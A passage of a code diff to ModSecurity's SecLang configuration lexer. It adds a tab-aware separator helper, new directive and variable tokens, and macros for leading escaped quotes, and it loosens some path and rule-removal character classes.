yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c]; @@ -9022,11 +9413,11 @@ static int yy_get_next_buffer (void) while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state ) { yy_current_state = (int) yy_def[yy_current_state]; - if ( yy_current_state >= 3994 ) + if ( yy_current_state >= 4155 ) yy_c = yy_meta[yy_c]; } yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c]; - yy_is_jam = (yy_current_state == 3993); + yy_is_jam = (yy_current_state == 4154); return yy_is_jam ? 0 : yy_current_state; } @@ -9292,7 +9683,7 @@ static void yy_load_buffer_state (void) /* %if-c-only */ - b->yy_is_interactive = file ? (isatty( fileno(file) ) > 0) : 0; + b->yy_is_interactive = 0; /* %endif */ /* %if-c++-only */ @@ -9775,7 +10166,7 @@ void yyfree (void * ptr ) /* %ok-for-header */ -#line 1344 "seclang-scanner.ll" +#line 1382 "seclang-scanner.ll" namespace modsecurity { diff --git a/src/parser/seclang-scanner.ll b/src/parser/seclang-scanner.ll index cf02b32bfd..408773d2d4 100755 --- a/src/parser/seclang-scanner.ll +++ b/src/parser/seclang-scanner.ll @@ -17,6 +17,11 @@ typedef yy::seclang_parser p; static int state_variable_from = 0; static std::stack YY_PREVIOUS_STATE; +static const char* find_separator(const char *s) { + while (*s && *s != ' ' && *s != '\t') s++; + return (*s) ? s + 1 : s; +} + // Work around an incompatibility in flex (at least versions // 2.5.31 through 2.5.33): it generates code that does // not conform to C89. See Debian bug 333231 @@ -73,7 +78,7 @@ static std::stack YY_PREVIOUS_STATE; // The location of the current token. %} -%option noyywrap nounput batch debug noinput +%option noyywrap nounput batch debug noinput nounistd never-interactive @@ -90,6 +95,7 @@ ACTION_CTL_BDY_JSON (?i:ctl:requestBodyProcessor=JSO ACTION_CTL_BDY_XML (?i:ctl:requestBodyProcessor=XML) ACTION_CTL_BDY_URLENCODED (?i:ctl:requestBodyProcessor=URLENCODED) ACTION_CTL_FORCE_REQ_BODY_VAR (?i:ctl:forceRequestBodyVariable) +ACTION_CTL_PARSE_XML_INTO_ARGS (?i:ctl:parseXmlIntoArgs) ACTION_CTL_REQUEST_BODY_ACCESS (?i:ctl:requestBodyAccess) ACTION_CTL_RULE_ENGINE (?i:ctl:ruleEngine) ACTION_CTL_RULE_REMOVE_BY_TAG (?i:ctl:ruleRemoveByTag) @@ -193,8 +199,11 @@ VARIABLE_MULTIPART_BOUNDARY_WHITESPACE (?i:MULTIPART_BOUNDARY_WHITESPACE) VARIABLE_MULTIPART_CRLF_LF_LINES (?i:MULTIPART_CRLF_LF_LINES) VARIABLE_MULTIPART_DATA_AFTER (?i:MULTIPART_DATA_AFTER) VARIABLE_MULTIPART_DATA_BEFORE (?i:MULTIPART_DATA_BEFORE) +VARIABLE_MULTIPART_DUPLICATE_PART_HEADER (?i:MULTIPART_DUPLICATE_PART_HEADER) VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED (?i:MULTIPART_FILE_LIMIT_EXCEEDED) VARIABLE_MULTIPART_FILENAME (?i:MULTIPART_FILENAME) +VARIABLE_MULTIPART_FILENAME_CHARSET (?i:MULTIPART_FILENAME_CHARSET) +VARIABLE_MULTIPART_FILENAME_LANGUAGE (?i:MULTIPART_FILENAME_LANGUAGE) VARIABLE_MULTIPART_HEADER_FOLDING (?i:MULTIPART_HEADER_FOLDING) VARIABLE_MULTIPART_INVALID_HEADER_FOLDING (?i:MULTIPART_INVALID_HEADER_FOLDING) VARIABLE_MULTIPART_INVALID_PART (?i:MULTIPART_INVALID_PART) @@ -345,6 +354,7 @@ CONFIG_DIR_AUDIT_FLE_MOD (?i:SecAuditLogFileMode) CONFIG_DIR_AUDIT_LOG2 (?i:SecAuditLog2) CONFIG_DIR_AUDIT_LOG (?i:SecAuditLog) CONFIG_DIR_AUDIT_LOG_FMT (?i:SecAuditLogFormat) +CONFIG_DIR_AUDIT_PREFIX (?i:SecAuditLogPrefix) CONFIG_DIR_AUDIT_LOG_P (?i:SecAuditLogParts) CONFIG_DIR_AUDIT_STS (?i:SecAuditLogRelevantStatus) CONFIG_DIR_AUDIT_TPE (?i:SecAuditLogType) @@ -400,16 +410,18 @@ CONFIG_VALUE_ABORT (?i:Abort) CONFIG_VALUE_DETC (?i:DetectionOnly) CONFIG_VALUE_HTTPS (?i:https) CONFIG_VALUE_NUMBER [0-9]+ +CONFIG_VALUE_ONLYARGS (?i:OnlyArgs) CONFIG_VALUE_OFF (?i:Off) CONFIG_VALUE_ON (?i:On) CONFIG_VALUE_PARALLEL (?i:Parallel|Concurrent) -CONFIG_VALUE_PATH [0-9A-Za-z_\/\.\-\*\:]+ +CONFIG_VALUE_PATH (?i:[0-9a-z_/.*: \\()-]+) CONFIG_VALUE_PROCESS_PARTIAL (?i:ProcessPartial) CONFIG_VALUE_REJECT (?i:Reject) CONFIG_VALUE_RELEVANT_ONLY (?i:RelevantOnly) CONFIG_VALUE_SERIAL (?i:Serial) CONFIG_VALUE_WARN (?i:Warn) CONFIG_XML_EXTERNAL_ENTITY (?i:SecXmlExternalEntity) +CONFIG_XML_PARSE_XML_INTO_ARGS (?i:SecParseXmlIntoArgs) CONGIG_DIR_RESPONSE_BODY_MP (?i:SecResponseBodyMimeType) CONGIG_DIR_RESPONSE_BODY_MP_CLEAR (?i:SecResponseBodyMimeTypesClear) CONGIG_DIR_SEC_ARG_SEP (?i:SecArgumentSeparator) @@ -433,10 +445,24 @@ DOUBLE_QUOTE_BUT_SCAPED (") COMMA_BUT_SCAPED (,) FREE_TEXT_QUOTE_MACRO_EXPANSION (([^%'])|([^\\][\\][%][{])|([^\\]([\\][\\])+[\\][%][{])|[^\\][\\][']|[^\\]([\\][\\])+[\\]['])+ FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION ((([^"%])|([%][^{]))|([^\\][\\][%][{])|([^\\]([\\][\\])+[\\][%][{])|[^\\][\\]["]|[^\\]([\\][\\])+[\\]["])+ + +/* An escaped quote at the very start of a fresh token has no preceding + * character to serve as the "not a backslash" anchor the alternatives + * above rely on. That happens right after a %{VARIABLE} macro closes + * (the closing '}' is consumed by its own rule, in EXPECTING_ACTION_PREDICATE_VARIABLE, + * and is not available to the next token) and at the very start of a + * quoted value (or, for the unquoted/comma-terminated action-predicate + * form, right at the start too). These macros cover that leading-escape + * case: an odd run of backslashes (1, 3, 5, ...) before the quote still + * escapes it, matching the pairing convention used by the alternatives + * above. */ +FREE_TEXT_QUOTE_MACRO_EXPANSION_LEADING_ESCAPE [\\]([\\][\\])*[']{FREE_TEXT_QUOTE_MACRO_EXPANSION}? +FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION_LEADING_ESCAPE [\\]([\\][\\])*["]{FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION}? FREE_TEXT_EQUALS_MACRO_EXPANSION ((([^",=%])|([%][^{]))|([^\\][\\][%][{])|([^\\]([\\][\\])+[\\][%][{])|[^\\][\\][=]|[^\\]([\\][\\])+[\\][=])+ FREE_TEXT_EQUALS_QUOTE_MACRO_EXPANSION ((([^'",=%])|([%][^{]))|([^\\][\\][%][{])|([^\\]([\\][\\])+[\\][%][{])|[^\\][\\][=]|[^\\][\\][']|[^\\]([\\][\\])+[\\][=])+ FREE_TEXT_COMMA_MACRO_EXPANSION (([^%,])|([^\\][\\][%][{])|([^\\]([\\][\\])+[\\][%][{])|[^\\][\\][,]|[^\\]([\\][\\])+[\\][,])+ FREE_TEXT_COMMA_DOUBLE_QUOTE_MACRO_EXPANSION ((([^,"%])|([%][^{]))|([^\\][\\][%][{])|([^\\]([\\][\\])+[\\][%][{])|[^\\][\\]["]|[^\\]([\\][\\])+[\\]["])+ +FREE_TEXT_COMMA_DOUBLE_QUOTE_MACRO_EXPANSION_LEADING_ESCAPE [\\]([\\][\\])*["]{FREE_TEXT_COMMA_DOUBLE_QUOTE_MACRO_EXPANSION}? FREE_TEXT_SPACE_MACRO_EXPANSION (([^% ])|([^\\][\\][%][{])|([^\\]([\\][\\])+[\\][%][{])|[^\\][\\][ ]|[^\\]([\\][\\])+[\\][ ])+ START_MACRO_VARIABLE (\%\{) @@ -448,7 +474,7 @@ FREE_TEXT_COMMA_QUOTE [^,\"\\n\\r]+ NEW_LINE_FREE_TEXT [^, \t\"\n\r]+ NOT ! FREE_TEXT ([^\"]|([^\\]\\\"))+ -REMOVE_RULE_BY [0-9A-Za-z_\/\.\-\*\:\;\]\[\$]+ +REMOVE_RULE_BY [a-zA-Z0-9_\-\.\*\/\:\;\$@\=\(\)\[\]\']+ VAR_FREE_TEXT_QUOTE ([^\']|([^\\]\\\'))+ VAR_FREE_TEXT_SPACE [^ \t\"]+ @@ -537,6 +563,7 @@ EQUALS_MINUS (?i:=\-) {ACTION_CTL_BDY_XML} { return p::make_ACTION_CTL_BDY_XML(yytext, *driver.loc.back()); } {ACTION_CTL_BDY_URLENCODED} { return p::make_ACTION_CTL_BDY_URLENCODED(yytext, *driver.loc.back()); } {ACTION_CTL_FORCE_REQ_BODY_VAR}= { return p::make_ACTION_CTL_FORCE_REQ_BODY_VAR(yytext, *driver.loc.back()); } +{ACTION_CTL_PARSE_XML_INTO_ARGS}= { return p::make_ACTION_CTL_PARSE_XML_INTO_ARGS(yytext, *driver.loc.back()); } {ACTION_CTL_REQUEST_BODY_ACCESS}= { return p::make_ACTION_CTL_REQUEST_BODY_ACCESS(yytext, *driver.loc.back()); } {ACTION_CTL_RULE_ENGINE}= { return p::make_ACTION_CTL_RULE_ENGINE(*driver.loc.back()); } {ACTION_CTL_RULE_REMOVE_BY_ID}[=]{REMOVE_RULE_BY} { return p::make_ACTION_CTL_RULE_REMOVE_BY_ID(yytext, *driver.loc.back()); } @@ -545,10 +572,7 @@ EQUALS_MINUS (?i:=\-) {ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG}[=]{REMOVE_RULE_BY} { return p::make_ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG(yytext, *driver.loc.back()); } {ACTION_EXEC}:'{VAR_FREE_TEXT_QUOTE}' { return p::make_ACTION_EXEC(yytext, *driver.loc.back()); } {ACTION_EXEC}:{VAR_FREE_TEXT_SPACE_COMMA} { return p::make_ACTION_EXEC(yytext, *driver.loc.back()); } -{ACTION_EXPIRE_VAR}:'{VAR_FREE_TEXT_QUOTE}={VAR_FREE_TEXT_QUOTE}' { return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } -{ACTION_EXPIRE_VAR}:'{VAR_FREE_TEXT_QUOTE}' { return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } -{ACTION_EXPIRE_VAR}:{VAR_FREE_TEXT_SPACE_COMMA} { return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } -{ACTION_EXPIRE_VAR}:{VAR_FREE_TEXT_SPACE}={VAR_FREE_TEXT_SPACE_COMMA} { return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } +{ACTION_EXPIRE_VAR}: { BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } {ACTION_INITCOL}:{COL_NAME}= { BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_INITCOL(yytext, *driver.loc.back()); } {ACTION_MATURITY}:'{FREE_TEXT_QUOTE}' { return p::make_ACTION_MATURITY(yytext, *driver.loc.back()); } {ACTION_MATURITY}:{FREE_TEXT_QUOTE} { return p::make_ACTION_MATURITY(yytext, *driver.loc.back()); } @@ -612,6 +636,7 @@ EQUALS_MINUS (?i:=\-) {ACTION_LOG_DATA}: { BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_LOG_DATA(yytext, *driver.loc.back()); } {CONFIG_VALUE_DETC} { return p::make_CONFIG_VALUE_DETC(yytext, *driver.loc.back()); } +{CONFIG_VALUE_ONLYARGS} { return p::make_CONFIG_VALUE_ONLYARGS(yytext, *driver.loc.back()); } {CONFIG_VALUE_OFF} { return p::make_CONFIG_VALUE_OFF(yytext, *driver.loc.back()); } {CONFIG_VALUE_ON} { return p::make_CONFIG_VALUE_ON(yytext, *driver.loc.back()); } {CONFIG_VALUE_RELEVANT_ONLY} { return p::make_CONFIG_VALUE_RELEVANT_ONLY(yytext, *driver.loc.back()); } @@ -669,17 +694,20 @@ EQUALS_MINUS (?i:=\-) { ['] { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); yyless(yyleng); } +{FREE_TEXT_QUOTE_MACRO_EXPANSION_LEADING_ESCAPE} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } {FREE_TEXT_QUOTE_MACRO_EXPANSION} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } } { ["] { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); yyless(yyleng); } +{FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION_LEADING_ESCAPE} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } {FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } } { [,] { yyless(0); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } ["] { yyless(0); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE);} +{FREE_TEXT_COMMA_DOUBLE_QUOTE_MACRO_EXPANSION_LEADING_ESCAPE} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } {FREE_TEXT_COMMA_DOUBLE_QUOTE_MACRO_EXPANSION} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } } @@ -742,72 +770,75 @@ EQUALS_MINUS (?i:=\-) {CONFIG_COMPONENT_SIG}[ \t]+["]{FREE_TEXT}["] { return p::make_CONFIG_COMPONENT_SIG(strchr(yytext, ' ') + 2, *driver.loc.back()); } {CONFIG_SEC_SERVER_SIG}[ \t]+["]{FREE_TEXT}["] { return p::make_CONFIG_SEC_SERVER_SIG(strchr(yytext, ' ') + 2, *driver.loc.back()); } {CONFIG_SEC_WEB_APP_ID}[ \t]+["]{FREE_TEXT}["] { return p::make_CONFIG_SEC_WEB_APP_ID(parserSanitizer(strchr(yytext, ' ') + 2), *driver.loc.back()); } -{CONFIG_SEC_WEB_APP_ID}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_WEB_APP_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +{CONFIG_SEC_WEB_APP_ID}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_WEB_APP_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } {CONFIG_CONTENT_INJECTION} { return p::make_CONFIG_CONTENT_INJECTION(*driver.loc.back()); } -{CONFIG_DIR_AUDIT_DIR_MOD}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_AUDIT_DIR_MOD(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_AUDIT_DIR_MOD}[ \t]+["]{CONFIG_VALUE_NUMBER}["] { return p::make_CONFIG_DIR_AUDIT_DIR_MOD(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_AUDIT_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_AUDIT_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_AUDIT_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_DIR_AUDIT_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_ARGUMENT_SEPARATOR}[ \t]+["]{NEW_LINE_FREE_TEXT}["] { return p::make_CONFIG_SEC_ARGUMENT_SEPARATOR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_ARGUMENT_SEPARATOR}[ \t]+{NEW_LINE_FREE_TEXT} { return p::make_CONFIG_SEC_ARGUMENT_SEPARATOR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_DIR_MOD}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_AUDIT_DIR_MOD(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_DIR_MOD}[ \t]+["]{CONFIG_VALUE_NUMBER}["] { return p::make_CONFIG_DIR_AUDIT_DIR_MOD(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_AUDIT_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_DIR_AUDIT_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_ARGUMENT_SEPARATOR}[ \t]+["]{NEW_LINE_FREE_TEXT}["] { return p::make_CONFIG_SEC_ARGUMENT_SEPARATOR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_ARGUMENT_SEPARATOR}[ \t]+{NEW_LINE_FREE_TEXT} { return p::make_CONFIG_SEC_ARGUMENT_SEPARATOR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } {CONFIG_DIR_AUDIT_ENG} { return p::make_CONFIG_DIR_AUDIT_ENG(yytext, *driver.loc.back()); } -{CONFIG_DIR_AUDIT_FLE_MOD}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_AUDIT_FLE_MOD(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_AUDIT_LOG2}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_AUDIT_LOG2(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_AUDIT_LOG_P}[ \t]+{AUDIT_PARTS} { return p::make_CONFIG_DIR_AUDIT_LOG_P(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_AUDIT_LOG_P}[ \t]+["]{AUDIT_PARTS}["] { return p::make_CONFIG_DIR_AUDIT_LOG_P(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_AUDIT_LOG}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_AUDIT_LOG(strchr(yytext, ' ') + 1, *driver.loc.back()); } +{CONFIG_DIR_AUDIT_FLE_MOD}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_AUDIT_FLE_MOD(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_LOG2}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_AUDIT_LOG2(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_LOG_P}[ \t]+{AUDIT_PARTS} { return p::make_CONFIG_DIR_AUDIT_LOG_P(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_LOG_P}[ \t]+["]{AUDIT_PARTS}["] { return p::make_CONFIG_DIR_AUDIT_LOG_P(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_LOG}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_AUDIT_LOG(find_separator(yytext), *driver.loc.back()); } {CONFIG_DIR_AUDIT_LOG_FMT} { return p::make_CONFIG_DIR_AUDIT_LOG_FMT(*driver.loc.back()); } {JSON} { return p::make_JSON(*driver.loc.back()); } {NATIVE} { return p::make_NATIVE(*driver.loc.back()); } -{CONFIG_DIR_AUDIT_LOG}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_DIR_AUDIT_LOG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_AUDIT_STS}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_DIR_AUDIT_STS(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_AUDIT_STS}[ \t]+["]{NEW_LINE_FREE_TEXT}["] { return p::make_CONFIG_DIR_AUDIT_STS(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_LOG}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_DIR_AUDIT_LOG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_STS}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_DIR_AUDIT_STS(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_STS}[ \t]+["]{NEW_LINE_FREE_TEXT}["] { return p::make_CONFIG_DIR_AUDIT_STS(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_PREFIX}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_DIR_AUDIT_PREFIX(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_AUDIT_PREFIX}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { return p::make_CONFIG_DIR_AUDIT_PREFIX(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } {CONFIG_DIR_AUDIT_TPE} { return p::make_CONFIG_DIR_AUDIT_TPE(yytext, *driver.loc.back()); } -{CONFIG_DIR_DEBUG_LOG}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_DEBUG_LOG(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_DEBUG_LOG}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_DIR_DEBUG_LOG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_DEBUG_LVL}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_DEBUG_LVL(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_GEO_DB}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_DIR_GEO_DB(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_PCRE_MATCH_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_PCRE_MATCH_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_ARGS_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_ARGS_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +{CONFIG_DIR_DEBUG_LOG}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_DEBUG_LOG(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_DEBUG_LOG}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_DIR_DEBUG_LOG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_DEBUG_LVL}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_DEBUG_LVL(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_GEO_DB}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_DIR_GEO_DB(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_PCRE_MATCH_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_PCRE_MATCH_LIMIT(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_ARGS_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_ARGS_LIMIT(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT(find_separator(yytext), *driver.loc.back()); } {CONFIG_DIR_REQ_BODY_LIMIT_ACTION} { return p::make_CONFIG_DIR_REQ_BODY_LIMIT_ACTION(yytext, *driver.loc.back()); } -{CONFIG_DIR_REQ_BODY_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_REQ_BODY_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +{CONFIG_DIR_REQ_BODY_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_REQ_BODY_LIMIT(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT(find_separator(yytext), *driver.loc.back()); } {CONFIG_DIR_REQ_BODY} { return p::make_CONFIG_DIR_REQ_BODY(yytext, *driver.loc.back()); } {CONFIG_DIR_RES_BODY_LIMIT_ACTION} { return p::make_CONFIG_DIR_RES_BODY_LIMIT_ACTION(yytext, *driver.loc.back()); } -{CONFIG_DIR_RES_BODY_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_RES_BODY_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +{CONFIG_DIR_RES_BODY_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_RES_BODY_LIMIT(find_separator(yytext), *driver.loc.back()); } {CONFIG_DIR_RES_BODY} { return p::make_CONFIG_DIR_RES_BODY(yytext, *driver.loc.back()); } {CONFIG_DIR_RULE_ENG} { return p::make_CONFIG_DIR_RULE_ENG(yytext, *driver.loc.back()); } -{CONFIG_DIR_SEC_MARKER}[ \t]+["]{NEW_LINE_FREE_TEXT}["] { return p::make_CONFIG_DIR_SEC_MARKER(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_SEC_MARKER}[ \t]+{NEW_LINE_FREE_TEXT} { return p::make_CONFIG_DIR_SEC_MARKER(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_DIR_UNICODE_MAP_FILE}[ \t]+{FREE_TEXT_NEW_LINE}[ ]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_UNICODE_MAP_FILE(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_SEC_REMOVE_RULES_BY_ID}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_RULE_REMOVE_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_REMOVE_RULES_BY_MSG}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_RULE_REMOVE_BY_MSG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_REMOVE_RULES_BY_MSG}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { return p::make_CONFIG_SEC_RULE_REMOVE_BY_MSG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_REMOVE_RULES_BY_TAG}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_RULE_REMOVE_BY_TAG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_REMOVE_RULES_BY_TAG}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { return p::make_CONFIG_SEC_RULE_REMOVE_BY_TAG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_UPDATE_TARGET_BY_TAG}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } 